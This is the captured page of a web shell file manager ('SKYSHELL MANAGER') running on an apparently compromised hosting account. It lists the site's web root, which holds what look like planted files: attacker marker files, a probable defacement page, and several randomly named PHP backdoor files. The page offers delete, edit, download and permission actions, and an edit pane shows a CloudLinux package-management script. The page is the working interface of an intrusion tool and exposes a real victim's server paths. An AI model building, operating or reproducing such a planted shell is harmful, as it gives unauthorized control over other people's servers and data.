📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
2e19d9
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.32 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: packages.py
# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2018 All Rights Reserved # # Licensed under CLOUD LINUX LICENSE AGREEMENT # https://cloudlinux.com/docs/LICENCE.TXT # import logging import os import re from clcommon.utils import is_ubuntu from clconfigure import task, run STATE_REMOVED = 'uninstalled' STATE_INSTALLED = 'installed' @task("Erasing package '{package_name}'") def erase_package(package_name): if is_ubuntu(): run(['dpkg', '--purge', '--force-depends', package_name]) else: run(['rpm', '--erase', '--nodeps', package_name]) current_state = get_package_state(package_name) logging.info("Checking package '%s' state again... package is now in state '%s'", package_name, current_state) if STATE_REMOVED != current_state: raise RuntimeError("Failed to do required actions") @task("Changing package '{package_name}' state to '{desired_state}'") def set_package_state(desired_state, package_name): """ Brings package to given state (installed | uninstalled). May be executed more than once, doesn't crash on future calls """ current_state = get_package_state(package_name) logging.debug("Checking package '%s' state... package is in state '%s'", package_name, current_state) if desired_state == current_state: logging.debug("No actions needed for package '%s'", package_name) return logging.info('State does not match target, changing...') if desired_state == STATE_REMOVED: if is_ubuntu(): run(['apt-get', 'purge', '-y', package_name]) else: run(['yum', 'remove', '-y', package_name]) elif desired_state == STATE_INSTALLED: if is_ubuntu(): run(['apt-get', 'install', '-y', package_name]) else: run(['yum', 'install', '-y', package_name]) else: raise NotImplementedError() current_state = get_package_state(package_name) logging.info("Checking package '%s' state again... package is now in state '%s'", package_name, current_state) if desired_state != current_state: raise RuntimeError("Failed to do required actions") @task("(Re)installing package '{package_name}'") def install_package(package_name: str, reinstall: bool = False): state = get_package_state(package_name) if state == STATE_INSTALLED and reinstall: cmd = ['apt-get' if is_ubuntu() else 'yum', 'reinstall', '-y', package_name] elif state == STATE_REMOVED: cmd = ['apt-get' if is_ubuntu() else 'yum', 'install', '-y', package_name] else: return run(cmd) def get_package_state(package): """ Gets current package state. Either installed or uninstalled. """ if is_ubuntu(): resp = run(['dpkg', '-s', package]) if resp.exitcode == 0 and 'Status: install ok installed' in resp.stdout: return STATE_INSTALLED return STATE_REMOVED resp = run(['rpm', '-qv', package]) return STATE_INSTALLED if resp.exitcode == 0 else STATE_REMOVED def get_list_installed_alt_phps(): """ Gets installed alt-phps return: list ['php44', 'php54', 'php80'] """ return [php for php in os.listdir('/opt/alt') if re.match(r'^php\d+$', php)]
Save